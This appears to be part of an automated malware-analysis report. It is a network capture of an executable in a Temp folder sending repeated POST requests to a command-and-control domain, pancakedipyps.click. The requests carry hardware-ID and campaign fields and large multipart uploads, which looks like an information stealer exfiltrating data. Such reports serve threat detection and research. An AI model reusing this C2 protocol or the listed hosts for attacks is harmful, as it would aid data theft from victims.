{"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wKoE1WrXr8O08zQlawVmjOqka7JO4mXUVtrofm9tmfQAgCIQqwI2Tt2LrKvujRB3X4pXvO0UhlaS6JRIyth0S8Fo3l4lUYQyoQm8CLvtmNfV5ldplPF2YpOZzg%2BkZZME1egQqBkN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87cb654fc2c345-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1498&min_rtt=1498&rtt_var=562&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=910&delivery_rate=1947965&cwnd=178&unsent_bytes=0&cid=f5e78d3bddc013e5&ts=766&x=0"
2024-12-27 08:03:31 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-27 08:03:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.11	49898	104.21.23.76	443	3392	C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:03:32 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 46 Host: pancakedipyps.click
2024-12-27 08:03:32 UTC	46	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 46 41 54 45 39 39 2d 2d 74 65 73 74 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=FATE99--test&j=
2024-12-27 08:03:33 UTC	1125	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:03:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gcp6jh5p7d166cnpgu8lh7pnln; expires=Tue, 22 Apr 2025 01:50:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=s2RxIRelQ1WaW3h3HHgMex4PEd50nvnBuBip%2B26Hbb2WSLfEUGBq95jieRwigIkz0qzjLIkaASXqGdxC0aOwE41%2FUxwsHebA76Ohqo2EaoBAvyGaY%2BnoRTVoEmTBni2bgP4NQVVA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87cb71f8b843d0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2108&min_rtt=2086&rtt_var=826&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=949&delivery_rate=1289752&cwnd=181&unsent_bytes=0&cid=4f7ad1c6746124fe&ts=786&x=0"
2024-12-27 08:03:33 UTC	244	IN	Data Raw: 31 63 61 39 0d 0a 33 71 71 2f 37 41 33 6b 6c 4c 52 48 61 74 6b 37 2b 5a 49 70 74 30 64 50 4e 59 65 55 4d 51 72 77 39 39 35 30 44 47 4d 42 43 61 47 6c 69 4d 6e 4f 4e 39 43 34 6c 6a 51 50 2b 77 47 4e 34 46 7a 53 61 32 31 55 34 37 59 4c 62 4a 47 62 72 52 45 67 51 58 64 6b 67 2b 54 4d 33 6f 42 2b 67 62 69 57 49 68 4c 37 41 61 4c 70 43 39 49 70 62 51 2b 6c 38 56 74 6f 6b 5a 75 38 46 57 63 4d 63 57 58 43 74 73 62 59 68 47 69 48 38 4e 55 72 42 37 78 65 6e 50 4e 44 32 53 34 69 58 65 71 32 48 53 69 56 6a 66 78 4f 4c 69 35 6b 66 63 43 54 79 38 79 48 4c 35 6d 34 7a 32 55 50 74 78 6e 44 73 45 6a 53 4a 53 4e 54 34 2f 39 5a 59 70 69 54 76 52 42 6d 45 32 68 76 79 62 62 49 32 34 56 69 6a 75 54 59 49 51 43 33 57 4a 62 7a 43 35 74 6c 4b 6b Data Ascii: 1ca93qq/7A3klLRHatk7+ZIpt0dPNYeUMQrw9950DGMBCaGliMnON9C4ljQP+wGN4FzSa21U47YLbJGbrREgQXdkg+TM3oB+gbiWIhL7AaLpC9IpbQ+l8VtokZu8FWcMcWXCtsbYhGiH8NUrB7xenPND2S4iXeq2HSiVjfxOLi5kfcCTy8yHL5m4z2UPtxnDsEjSJSNT4/9ZYpiTvRBmE2hvybbI24VijuTYIQC3WJbzC5tlKk
2024-12-27 08:03:33 UTC	1369	IN	Data Raw: 2b 6c 72 68 4d 37 6f 4a 61 74 42 33 73 4d 63 32 32 44 6f 34 62 45 7a 6d 69 4b 74 6f 35 6c 41 4c 64 58 6e 76 4e 45 30 69 51 74 52 65 72 32 55 47 43 61 6b 62 59 5a 59 51 35 74 59 63 53 30 77 64 71 42 61 49 37 77 32 53 5a 49 39 52 6d 63 36 41 75 4e 5a 51 31 48 35 76 56 48 5a 59 50 56 6f 31 68 33 51 57 52 6e 67 2b 53 49 32 34 42 75 69 2f 62 45 4c 51 4f 77 58 49 6e 37 51 74 67 6f 4c 56 72 76 2b 56 42 6f 6c 5a 2b 32 47 57 51 46 62 6d 62 46 76 4d 69 64 77 43 2b 42 37 70 5a 39 53 4a 68 63 69 2f 64 48 77 32 63 58 46 2f 71 34 53 69 69 56 6d 66 78 4f 4c 67 6c 6d 61 4d 43 33 78 39 36 47 5a 4a 54 32 78 43 4d 46 76 6b 75 64 39 55 58 66 4a 6a 39 64 36 2f 42 51 59 5a 6d 63 75 52 46 71 51 53 30 72 78 4b 53 49 68 63 35 4f 69 2f 33 61 4c 78 2b 37 47 59 53 2b 55 70 55 69 49 Data Ascii: +lrhM7oJatB3sMc22Do4bEzmiKto5lALdXnvNE0iQtRer2UGCakbYZYQ5tYcS0wdqBaI7w2SZI9Rmc6AuNZQ1H5vVHZYPVo1h3QWRng+SI24Bui/bELQOwXIn7QtgoLVrv+VBolZ+2GWQFbmbFvMidwC+B7pZ9SJhci/dHw2cXF/q4SiiVmfxOLglmaMC3x96GZJT2xCMFvkud9UXfJj9d6/BQYZmcuRFqQS0rxKSIhc5Oi/3aLx+7GYS+UpUiI
2024-12-27 08:03:33 UTC	1369	IN	Data Raw: 63 5a 5a 37 56 38 6c 5a 70 47 53 4d 7a 67 35 62 4c 79 59 31 6c 78 4d 50 56 4b 77 61 38 54 39 76 76 42 63 78 6c 4b 6c 75 6c 72 68 4e 6c 6b 35 32 36 42 47 45 4d 59 47 58 4e 73 38 33 53 68 6d 2b 47 2b 39 4d 68 41 37 42 61 6c 76 52 5a 33 79 55 6c 55 75 54 38 57 53 6a 63 31 62 73 4f 4c 6c 6b 6a 57 74 53 33 69 75 69 4e 59 59 6a 78 77 47 55 58 39 55 44 62 39 30 65 56 66 57 31 61 37 66 4e 57 5a 35 4f 66 73 68 4e 6b 44 57 74 6c 77 4b 37 48 32 59 35 6a 6a 76 7a 62 4b 77 79 7a 55 4a 44 37 54 64 55 6b 4a 78 65 72 74 6c 52 77 30 73 33 38 49 6d 6b 4e 62 6d 53 42 69 63 76 54 67 47 69 51 74 73 6c 72 45 66 74 65 6c 37 41 54 6c 53 6b 6b 56 2b 37 38 56 32 69 56 6d 4c 6b 56 61 51 4a 75 62 4d 6d 79 7a 39 6d 43 5a 6f 76 77 31 69 49 4d 76 6b 75 65 2b 55 66 5a 5a 57 4d 58 34 75 Data Ascii: cZZ7V8lZpGSMzg5bLyY1lxMPVKwa8T9vvBcxlKlulrhNlk526BGEMYGXNs83Shm+G+9MhA7BalvRZ3yUlUuT8WSjc1bsOLlkjWtS3iuiNYYjxwGUX9UDb90eVfW1a7fNWZ5OfshNkDWtlwK7H2Y5jjvzbKwyzUJD7TdUkJxertlRw0s38ImkNbmSBicvTgGiQtslrEftel7ATlSkkV+78V2iVmLkVaQJubMmyz9mCZovw1iIMvkue+UfZZWMX4u
2024-12-27 08:03:33 UTC	1369	IN	Data Raw: 31 62 73 61 4c 6c 6b 6a 59 73 71 75 78 74 4f 48 59 6f 44 2b 30 53 73 46 73 46 2b 51 39 30 7a 54 4b 43 56 61 34 50 56 53 62 4a 69 48 76 78 31 6b 44 47 6b 72 6a 66 7a 50 78 63 34 33 78 74 48 61 44 42 69 67 53 34 32 77 56 4a 73 38 62 56 44 70 74 67 73 6f 6b 5a 71 31 47 57 59 4a 62 47 54 48 73 73 37 62 67 32 71 4a 2f 4d 51 74 42 72 5a 53 6c 50 74 5a 31 53 67 70 57 2b 48 2b 57 47 4c 53 32 2f 77 52 64 6b 45 37 4b 2f 61 78 78 39 32 4e 65 63 62 70 6d 44 78 49 76 46 58 62 71 41 76 5a 4b 79 31 59 36 66 70 59 59 4a 4f 5a 73 68 46 72 43 47 74 6a 30 62 33 4d 31 59 39 68 69 66 66 53 49 41 32 2f 58 70 2f 32 52 4a 56 72 62 56 44 39 74 67 73 6f 76 62 4b 4a 56 45 38 37 49 33 53 4e 70 59 6a 61 67 69 2f 65 74 74 6f 6d 42 4c 4e 57 6e 66 6c 48 33 79 77 6d 57 2b 37 79 58 32 47 Data Ascii: 1bsaLlkjYsquxtOHYoD+0SsFsF+Q90zTKCVa4PVSbJiHvx1kDGkrjfzPxc43xtHaDBigS42wVJs8bVDptgsokZq1GWYJbGTHss7bg2qJ/MQtBrZSlPtZ1SgpW+H+WGLS2/wRdkE7K/axx92NecbpmDxIvFXbqAvZKy1Y6fpYYJOZshFrCGtj0b3M1Y9hiffSIA2/Xp/2RJVrbVD9tgsovbKJVE87I3SNpYjagi/ettomBLNWnflH3ywmW+7yX2G
2024-12-27 08:03:33 UTC	1369	IN	Data Raw: 32 38 48 63 57 7a 4b 72 73 62 51 67 57 65 4f 2f 39 63 68 44 62 5a 66 6c 2f 70 4b 30 69 73 6a 58 36 57 34 45 32 2b 4b 31 65 52 57 54 78 46 34 65 64 57 78 36 64 43 42 4c 35 6d 34 7a 32 55 50 74 78 6e 44 73 45 4c 48 49 53 42 46 37 50 46 64 5a 35 47 48 76 52 74 6c 45 32 52 6b 78 37 76 45 32 34 46 70 68 2f 50 63 4b 51 2b 2b 55 70 54 38 43 35 74 6c 4b 6b 2b 6c 72 68 4e 47 6d 59 61 72 46 57 41 4b 64 58 43 44 6f 34 62 45 7a 6d 69 4b 74 6f 35 6c 43 37 42 53 6e 2f 42 48 31 53 45 67 56 2f 66 35 56 47 2b 62 6e 71 34 63 61 51 5a 6f 59 38 69 7a 7a 73 2b 43 59 5a 54 7a 78 44 64 49 39 52 6d 63 36 41 75 4e 5a 52 74 51 39 65 5a 51 4b 71 4f 44 76 77 42 6c 44 47 38 72 33 50 4c 52 6e 59 6c 6a 78 71 36 57 49 77 65 79 57 70 54 78 51 74 6b 6f 4b 46 37 67 39 31 56 73 6d 4a 2b 38 Data Ascii: 28HcWzKrsbQgWeO/9chDbZfl/pK0isjX6W4E2+K1eRWTxF4edWx6dCBL5m4z2UPtxnDsELHISBF7PFdZ5GHvRtlE2Rkx7vE24Fph/PcKQ++UpT8C5tlKk+lrhNGmYarFWAKdXCDo4bEzmiKto5lC7BSn/BH1SEgV/f5VG+bnq4caQZoY8izzs+CYZTzxDdI9Rmc6AuNZRtQ9eZQKqODvwBlDG8r3PLRnYljxq6WIweyWpTxQtkoKF7g91VsmJ+8
2024-12-27 08:03:33 UTC	1369	IN	Data Raw: 77 6c 32 76 7a 50 30 63 34 33 78 76 58 52 4a 67 6d 78 55 4a 66 2f 54 4e 45 33 4a 31 44 33 39 31 4a 6a 6e 35 6d 38 47 32 4d 4c 59 6d 4c 4f 73 4d 58 61 69 57 43 44 74 70 68 6c 44 36 4d 5a 77 37 42 71 32 43 34 68 44 4c 2b 32 54 43 61 4c 31 62 73 61 4c 6c 6b 6a 61 38 6d 35 77 74 43 4e 59 49 58 6b 31 79 4d 61 75 31 53 52 34 6b 48 65 49 43 42 61 36 50 56 56 62 70 6d 5a 72 68 39 75 41 6d 67 72 6a 66 7a 50 78 63 34 33 78 74 58 42 4d 77 4b 38 56 59 33 37 53 74 59 7a 49 45 65 6c 75 42 4e 35 6c 59 54 38 54 6e 67 52 64 47 7a 63 38 74 47 64 69 57 50 47 72 70 59 6a 41 62 31 65 6e 66 35 5a 30 43 4d 69 57 4f 7a 2f 56 32 43 52 6c 62 67 53 61 51 52 67 5a 38 69 37 79 39 4b 4b 5a 6f 6a 2f 32 57 56 47 2b 31 36 44 73 42 4f 56 42 44 5a 55 36 66 73 54 64 39 79 4d 2f 42 46 69 51 Data Ascii: wl2vzP0c43xvXRJgmxUJf/TNE3J1D391Jjn5m8G2MLYmLOsMXaiWCDtphlD6MZw7Bq2C4hDL+2TCaL1bsaLlkja8m5wtCNYIXk1yMau1SR4kHeICBa6PVVbpmZrh9uAmgrjfzPxc43xtXBMwK8VY37StYzIEeluBN5lYT8TngRdGzc8tGdiWPGrpYjAb1enf5Z0CMiWOz/V2CRlbgSaQRgZ8i7y9KKZoj/2WVG+16DsBOVBDZU6fsTd9yM/BFiQ
2024-12-27 08:03:33 UTC	256	IN	Data Raw: 6b 69 50 32 46 65 59 50 78 77 47 63 39 75 46 65 56 39 31 32 56 4f 68 49 5a 70 66 6c 4a 4b 4d 71 73 70 56 5a 70 44 53 4d 7a 67 36 6e 50 33 59 6c 31 6b 50 48 61 4e 41 4f 32 56 62 6e 2f 54 4d 4d 6d 49 6c 54 30 2f 78 39 6a 6e 39 58 79 56 6d 6b 5a 49 7a 4f 44 6b 38 2f 4c 6a 55 43 46 35 39 39 6c 52 76 74 65 6a 62 41 54 6c 52 74 74 52 65 62 6d 55 47 65 44 71 2f 78 4f 64 7a 38 6a 59 4e 57 37 32 4e 36 59 5a 49 76 36 78 78 74 49 34 77 33 4a 6f 68 6d 48 64 7a 49 58 2b 73 6b 64 4b 4a 50 56 35 43 39 33 51 58 55 72 6d 2b 36 47 6e 5a 77 76 33 72 61 52 4a 68 71 70 58 35 6a 6d 53 4a 49 62 45 33 44 7a 2f 46 52 34 6c 59 4b 7a 56 69 42 42 62 43 75 62 68 59 6a 55 69 58 53 58 34 4e 73 31 44 2f 74 6d 31 62 42 54 6c 58 31 74 59 75 62 34 58 57 2b 45 68 50 45 78 65 41 74 6b 65 0d Data Ascii: kiP2FeYPxwGc9uFeV912VOhIZpflJKMqspVZpDSMzg6nP3Yl1kPHaNAO2Vbn/TMMmIlT0/x9jn9XyVmkZIzODk8/LjUCF599lRvtejbATlRttRebmUGeDq/xOdz8jYNW72N6YZIv6xxtI4w3JohmHdzIX+skdKJPV5C93QXUrm+6GnZwv3raRJhqpX5jmSJIbE3Dz/FR4lYKzViBBbCubhYjUiXSX4Ns1D/tm1bBTlX1tYub4XW+EhPExeAtke
2024-12-27 08:03:33 UTC	1369	IN	Data Raw: 32 63 37 33 0d 0a 38 53 72 78 35 33 41 4c 34 43 32 6a 6e 5a 47 2b 31 32 4b 73 42 4f 46 64 33 59 43 74 71 45 44 4f 6f 33 62 70 56 5a 34 51 54 73 35 6a 66 7a 61 6e 64 59 76 77 66 58 45 4e 77 36 34 54 35 69 33 64 65 73 43 4e 31 72 6a 34 55 4a 57 72 4a 4b 6d 47 32 67 57 63 69 66 57 76 38 62 54 69 58 6e 47 75 4a 59 71 53 4f 4e 67 32 37 67 4c 36 6d 74 74 54 36 57 75 45 31 32 52 6d 37 49 52 65 42 41 75 54 4e 6d 78 7a 73 71 66 4c 38 69 32 30 47 56 51 36 78 66 62 39 46 71 56 66 58 30 46 76 71 4d 41 50 38 4c 48 6f 31 68 33 51 58 55 72 6d 2b 36 47 6e 5a 77 76 33 72 61 52 4a 68 71 70 58 35 6a 6d 53 4a 49 62 45 33 6e 69 38 46 5a 76 67 74 65 53 48 58 6f 47 49 79 57 44 73 34 69 46 74 79 2f 4f 74 75 6c 72 53 4b 4d 5a 77 37 42 2b 31 69 73 6a 55 50 50 6e 48 6b 61 56 6b 37 Data Ascii: 2c738Srx53AL4C2jnZG+12KsBOFd3YCtqEDOo3bpVZ4QTs5jfzandYvwfXENw64T5i3desCN1rj4UJWrJKmG2gWcifWv8bTiXnGuJYqSONg27gL6mttT6WuE12Rm7IReBAuTNmxzsqfL8i20GVQ6xfb9FqVfX0FvqMAP8LHo1h3QXUrm+6GnZwv3raRJhqpX5jmSJIbE3ni8FZvgteSHXoGIyWDs4iFty/OtulrSKMZw7B+1isjUPPnHkaVk7
2024-12-27 08:03:33 UTC	1369	IN	Data Raw: 49 33 32 44 35 4a 71 54 7a 6e 33 47 72 70 5a 69 43 36 6c 4c 6e 66 4e 64 31 6d 49 54 61 63 4c 34 56 47 6d 45 68 61 73 5a 49 53 39 56 53 76 32 43 33 64 36 41 59 59 48 67 78 32 56 47 2b 31 62 62 71 48 4b 56 62 57 31 6f 71 37 5a 4c 4b 4d 72 56 69 52 56 67 44 32 52 39 30 76 48 76 30 34 6c 75 6b 4f 62 42 4b 6b 65 56 62 37 71 77 42 5a 55 6a 62 51 2b 33 75 42 4e 73 67 39 58 6b 52 6a 78 61 4e 6a 69 55 37 4a 72 43 77 48 62 47 34 4a 5a 39 57 76 55 5a 69 62 41 54 6c 57 49 75 52 66 66 77 55 48 36 52 30 6f 49 6f 53 51 39 6b 61 74 57 73 78 64 47 76 62 4a 66 38 36 42 73 64 75 46 65 56 39 31 33 45 5a 57 4d 58 36 72 59 4c 55 64 4c 64 2f 43 6b 67 51 58 73 72 6d 2f 7a 39 33 6f 42 68 67 65 44 48 61 43 2b 31 58 70 72 6d 57 39 67 70 44 46 54 30 2f 42 4d 6d 30 70 50 38 54 6a 78 Data Ascii: I32D5JqTzn3GrpZiC6lLnfNd1mITacL4VGmEhasZIS9VSv2C3d6AYYHgx2VG+1bbqHKVbW1oq7ZLKMrViRVgD2R90vHv04lukObBKkeVb7qwBZUjbQ+3uBNsg9XkRjxaNjiU7JrCwHbG4JZ9WvUZibATlWIuRffwUH6R0oIoSQ9katWsxdGvbJf86BsduFeV913EZWMX6rYLUdLd/CkgQXsrm/z93oBhgeDHaC+1XprmW9gpDFT0/BMm0pP8Tjx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.11	49905	104.21.23.76	443	3392	C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:03:34 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=T54TT9R0XA8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12804 Host: pancakedipyps.click
2024-12-27 08:03:34 UTC	12804	OUT	Data Raw: 2d 2d 54 35 34 54 54 39 52 30 58 41 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 34 36 33 44 46 46 39 31 32 42 42 34 32 31 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 54 35 34 54 54 39 52 30 58 41 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 54 35 34 54 54 39 52 30 58 41 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 54 35 34 54 54 39 52 30 58 41 38 0d 0a 43 6f 6e 74 65 Data Ascii: --T54TT9R0XA8Content-Disposition: form-data; name="hwid"3463DFF912BB4217BEBA0C6A975F1733--T54TT9R0XA8Content-Disposition: form-data; name="pid"2--T54TT9R0XA8Content-Disposition: form-data; name="lid"FATE99--test--T54TT9R0XA8Conte
2024-12-27 08:03:36 UTC	1133	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:03:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=uu8accs6f3remiei7r5a74jv5u; expires=Tue, 22 Apr 2025 01:50:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jzy%2FBc5vbXU2fqQGYqlA4WBOwtkYw7zxC5OovGBYvLsUQrk9XRPzwVMRhSWC1%2FhW1s1BVU07XKzZsz6wRc1sGJzBhnXqVjq0vVkF%2BclsQ9M3v93nxS%2FqRnvyRuhR9p57Y04pR1%2Bu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87cb80aadd42e8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1644&min_rtt=1640&rtt_var=623&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2847&recv_bytes=13740&delivery_rate=1745367&cwnd=250&unsent_bytes=0&cid=2d02622fd270f333&ts=1097&x=0"
2024-12-27 08:03:36 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 08:03:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.11	49912	104.21.23.76	443	3392	C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:03:37 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=UZV5KKY90D2VSYV5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15046 Host: pancakedipyps.click
2024-12-27 08:03:37 UTC	15046	OUT	Data Raw: 2d 2d 55 5a 56 35 4b 4b 59 39 30 44 32 56 53 59 56 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 34 36 33 44 46 46 39 31 32 42 42 34 32 31 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 55 5a 56 35 4b 4b 59 39 30 44 32 56 53 59 56 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 55 5a 56 35 4b 4b 59 39 30 44 32 56 53 59 56 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 55 5a 56 Data Ascii: --UZV5KKY90D2VSYV5Content-Disposition: form-data; name="hwid"3463DFF912BB4217BEBA0C6A975F1733--UZV5KKY90D2VSYV5Content-Disposition: form-data; name="pid"2--UZV5KKY90D2VSYV5Content-Disposition: form-data; name="lid"FATE99--test--UZV
2024-12-27 08:03:38 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:03:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4ie5qtd6mjom8m1uqoisratt7a; expires=Tue, 22 Apr 2025 01:50:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9bwuXwTPr7AvMaTAy%2FEAXwZes4AtkwbznCn4aAJfGcj7oT6KTZ0u%2BWeklXUikxJSsGbErSvVRioldKjfVkPpAFYQaaIiwDPh2bKkXjsVKt%2BIi%2B6MYu1iOL5NvqAqRw30VMUbU49r"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87cb90cdd28c90-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1980&min_rtt=1972&rtt_var=755&sent=10&recv=20&lost=0&retrans=0&sent_bytes=2847&recv_bytes=15987&delivery_rate=1433480&cwnd=201&unsent_bytes=0&cid=9c618effea1dc59d&ts=969&x=0"
2024-12-27 08:03:38 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 08:03:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.11	49919	104.21.23.76	443	3392	C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:03:40 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=BB0MRX8QYU7F65TMO User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20421 Host: pancakedipyps.click
2024-12-27 08:03:40 UTC	15331	OUT	Data Raw: 2d 2d 42 42 30 4d 52 58 38 51 59 55 37 46 36 35 54 4d 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 34 36 33 44 46 46 39 31 32 42 42 34 32 31 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 42 42 30 4d 52 58 38 51 59 55 37 46 36 35 54 4d 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 42 42 30 4d 52 58 38 51 59 55 37 46 36 35 54 4d 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d Data Ascii: --BB0MRX8QYU7F65TMOContent-Disposition: form-data; name="hwid"3463DFF912BB4217BEBA0C6A975F1733--BB0MRX8QYU7F65TMOContent-Disposition: form-data; name="pid"3--BB0MRX8QYU7F65TMOContent-Disposition: form-data; name="lid"FATE99--test--
2024-12-27 08:03:40 UTC	5090	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 fd 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d ae 2f 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 f5 47 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 be 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 d7 1f 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 fa a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: lrQM/64G6(X&~`aO
